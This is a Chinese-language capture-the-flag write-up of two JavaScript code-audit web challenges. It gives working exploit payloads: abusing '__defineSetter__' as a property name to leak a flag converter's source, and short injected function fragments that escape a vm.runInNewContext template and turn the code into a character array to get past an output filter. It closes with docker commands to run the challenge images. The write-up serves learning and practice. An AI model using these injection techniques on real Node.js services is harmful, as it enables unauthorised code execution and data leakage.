converter#
题目是一个网页,如下:
POST 两个参数, Input
即输入的数据, converter
代表选择的转换器
分析源码,可以看到有三个 converter
,即代表着三种不同的 encode 方式,其中 flagConverter
里面有 flag
但是限制了 request.body.converter
,不能出现 FLAG
if (request.body.converter.match(/[FLAG]/)) {
throw new Error("Don't be evil :)");
}
if (request.body.input.length < 20) {
throw new Error('Too short :(');
}
if (request.body.input.length > 1000) {
throw new Error('Too long :(');
}
这里研究了之后确实不存在突破办法了🤣
分析#
注意到真正调用 converter
的代码, 我们输入的两个参数 req.body.converter
和 req.body.input
,其中 req.body.converter
是作为 converters
的属性名,即我们可以控制 conveters
的任意一个属性(除了这个属性名不能含有 FLAG
之外)
通过
await new Promise
代码是在尝试将回调式的异步操作转换为 Promise 风格的操作,以便使用 await 来等待执行结果,可以忽略
并且我们发现, converters
是一个 const 类型,并且每次执行 encode
操作,都会对 converters
做一次赋值(理论上直接写死就行了吧,没必要每次请求都这么干)
converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});
而我们知道,在 JS 中,虽然一个对象的属性看上去只有那么点,但是由于 JS 特有的原型链继承关系,就会导致 Object
对象的属性也被继承过来(因此可以逐一去对这些属性做尝试)
其中这个 __defineSetter__
属性很有意思,有点类似反射,可以给对象的一个属性做一个代理,正常写法其实是这样的:
const obj = {
a: 1
};
// 使用 __defineGetter__
obj.__defineSetter__('a', function(res) {
console.log("get res: " + res);
});
如果我们定义了 setter ,那么后续赋值的时候, 赋值等式的右边值就会作为 setter 函数的第一个参数传进来
所以,当我们输入 input= FLAG_***SESSION***
(input 并没有不允许输入 FLAG 字符串),converter = __defineSetter__
时,代码变为:
converters["__defineSetter__"]("FLAG_***SESSION***", (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
这样当我们重写完对象的 FLAG_***SESSION***
对应的 setter 时,这个网页先不动!
后续再新开一个网页去访问,此时触发:
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
可以看到 flagConverter
就会作为第一个参数传入到函数
(error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}
此时 result 的结果自然就是 error , 即 flagConverter.toString()
的结果
回到我们的第一个网页,此时就能看到:
Kantan Calc#
这道题目也很有意思,是我见过的 JS 代码审计中比较新颖的,巧妙地用沙箱逃逸来误导你,实际利用的是 JS 很常见的一个特性
CTF 中的经典计算器前端:
看代码:
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
console.log(code.length); // 打印输入的代码长度
if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
if (output.includes('flag')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}
res.render('index', { title: 'Kantan Calc', output });
});
关键代码就是在 vm.runInNewContext
那一行,即输入的内容会被当做代码执行,比如输入 2*2
实际在 vm 中执行的代码就是:
'use strict';
(
function(){
return 2*2; /* flag{fake_flag} */
}
)()
实际就是一个立即执行函数,但是这里要注意:
vm.runInNewContext('', Object.create(null))
Object.create(null)
实际上是创建了一个没有任何原型链的对象,是一个绝对 “干净” 的对象
因此,最常用的一种沙箱逃逸是没有办法了(我就懒得写了)
解法#
在 JavaScript 中,可以通过将函数体转换为字符串来获取函数体:
function a() {}
console.log(a+'')
// "function a() {}"
这样就可以让代码内的 flag 注释信息打印出来了,但是就算打印出来还是会被后面的 if 给拦截,这应该怎么办呢?
答案就是数组,利用函数 toString 弱类型转换,返回 char 数组(绕开 if 检测),同时保证 payload 长度小于 30
那么我们先直接闭合前面的函数,然后开一个新的函数,即输入:
},function p(){return[...p+1]
那么此时:
'use strict';
(
function(){
return
},
function p(){return[...p+1]; /* flag{fake_flag} */
}
)()
那么第二个函数 p 执行的时候,先执行加法,抓为字符串,然后解构为数组,就绕开了检测
在看 wp 的时候还发现有另一种思路:
[...arguments[0]+0]})(a=>{
实际执行的代码:
'use strict';
(
function(){
return [...arguments[0]+0]}
)
(a=>{
; /* flag{fake_flag} */
}
)()
等于先定义了一个函数
(
function(){
return [...arguments[0]+0]
}
)
然后调用的时候传递了一个参数, (a => {;/*flag{fake_flag}*/})
,那么自然这个函数就会被当做参数 arguments
传递进去,同样的道理(不过这种情况会报错了,因为返回的是个数组无法继续函数调用)
总结#
这两道题目也都打包 Docker 镜像了,有需要的可以自取:
docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest
其实 JS 的很多特性都是可以用来出题的,但是却很少像 PHP 那样,有各种变种且好玩的代码审计题,后续准备在这里多思考下,尝试自己也出几道有趣的结合 JS 特性的审计题目